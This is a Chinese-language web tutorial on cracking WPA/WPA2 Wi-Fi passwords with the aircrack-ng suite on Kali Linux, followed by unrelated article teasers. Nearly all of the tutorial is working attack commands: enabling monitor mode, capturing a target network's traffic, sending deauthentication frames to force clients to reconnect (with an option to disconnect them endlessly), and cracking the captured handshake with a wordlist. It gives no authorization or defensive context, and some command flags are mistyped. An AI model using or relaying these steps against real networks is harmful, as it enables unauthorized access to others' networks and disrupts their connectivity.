WIFI WPA/WPA2加密方式

news/2024/11/23 10:20:26/

文章目录

    • 1.1 准备无线网卡
    • 1.2 无线网卡接入虚拟机
    • 1.3 查看无线网卡信息
    • 1.4 开启无线网卡监听模式
    • 1.5 监听周围无线网络信息
    • 1.6 如果不能监听,需要设置Monitor模式
    • 1.7 监听感兴趣的无线网络
    • 1.8 得到握手包
    • 1.9 获取密码

1.1 准备无线网卡

注意kail支持的哪些芯片的无线网卡

1.2 无线网卡接入虚拟机

1.3 查看无线网卡信息

root@KALI-EXPLOIT:~# iwconfig
root@KALI-EXPLOIT:~# airmon-ng

1.4 开启无线网卡监听模式

root@KALI-EXPLOIT:~# airmon-ng start wlan0(根据上一步查看到的设备名)

默认是接入模式,这个命令是开启监听模式

1.5 监听周围无线网络信息

root@KALI-EXPLOIT:~# airodump-ng wlan0mon(根据上一步的到的设备名)

1.6 如果不能监听,需要设置Monitor模式

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

这个是可能会出现的问题,没有遇到选择跳过

1.7 监听感兴趣的无线网络

root@KALI-EXPLOIT:~# airodump-ng -c 6 --bsssid AP's MAC -w  wep wlan0mon

-c 后面的6为AP工作频道,-bissid 面为AP MAC地址
-w 后面的wep是抓下来的数据包DATA保存的文件名

1.8 得到握手包

保持上一步的窗口不关,新开一个窗口,执行以下命令:

aireplay-ng -a AP-MAC -c 切断客户端的MAC(重新连接) -0  5 (发送次数一般5次就够) wlan0mon(网卡名称)

截图: 成功获取握手包
在这里插入图片描述

解析: -0为模式的一种:冲突攻击模式,后面跟发送次数(设置为0,则为循环攻击,不停的断开)
-a AP-MAC指定无线AP的mac地址,即为该无线网的bssid值, -c 为客户端mac,即为STATION值

1.9 获取密码

aircrack-ng tmp-01.cap -w /tmp/passwd.txt

截图:

破解成功后会出现:KEY FOUND!后中括号中间就是wifi密码


http://www.ppmy.cn/news/288012.html

相关文章

WPA3 vs WPA2(转)

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/leesphone/article/details/105584606 收起 背景 2017年10月份,有安全研究者公布了WPA…

CH579 SPI WS2812B

一、硬件准备 1、CH579 最小系统板 数量 1个 2、ws2812灯板 (10*10)数量 1个 3、数据线 若干 4、可调电源 1个 二、硬件 1、CH579 最小系统板 (1) 在官网上申请(联系官方人员) http://www.wch.cn/downloads/category/27.html(2)在官网上下载PCB文件…

Galaxy W

据悉,三星Z将在本周于旧金山举行的Tizen开发者大会上公开亮相。 除此之外,三星日前还在韩国推出了一款配备7英寸超大显示屏的智能手机,名为Galaxy W。 Galaxy W可谓是迄今为止市面上最大的一部智能手机,虽然屏幕尺寸惊人&#xff…

3 JWT 和 JWS

上一篇我们提到了token支持JWT格式,那这一篇来盘一下JWT到底是个啥。 JSON Web Token(JWT) https://jwt.io JSON Web Token (JWT) (RFC 7519) JSON Web Token (JWT) 是一个开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式&a…

在Spring Boot微服务使用JedisCluster操作Redis集群Set集合(无序集合)

记录:452 场景:在Spring Boot微服务使用JedisCluster操作Redis集群的Set集合(无序集合)数据类型。 版本:JDK 1.8,Spring Boot 2.6.3,redis-6.2.5,jedis-3.7.1。 1.微服务中配置Redis信息 1.1在pom.xml添加依赖 pom.xml文件: …

Java快速安装以及入门指南

安装 Java 环境教程 Java 是一种广泛应用于软件开发、Web 应用程序和移动应用程序等领域的编程语言。如果您要使用 Java 进行开发或运行需要 Java 程序,您需要先在计算机上安装 Java 环境。 本教程将向您介绍如何在 Windows 操作系统上安装和验证 Java 环境。还将…

EMQ X(1):EMQX简介

MQTT属于是物联网的通信协议,在MQTT协议中有两大角色:客户端(发布者/订阅者),服务端(Mqtt broker);针对客户端和服务端需要有遵循该协议的的具体实现,EMQ/EMQ X就是MQTT …

在Spring Boot微服务使用JedisCluster操作Redis集群String字符串

记录&#xff1a;449 场景&#xff1a;在Spring Boot微服务使用JedisCluster操作Redis集群的String字符串数据类型。 版本&#xff1a;JDK 1.8,Spring Boot 2.6.3,redis-6.2.5,jedis-3.7.1。 1.微服务中配置Redis信息 1.1在pom.xml添加依赖 pom.xml文件&#xff1a; <…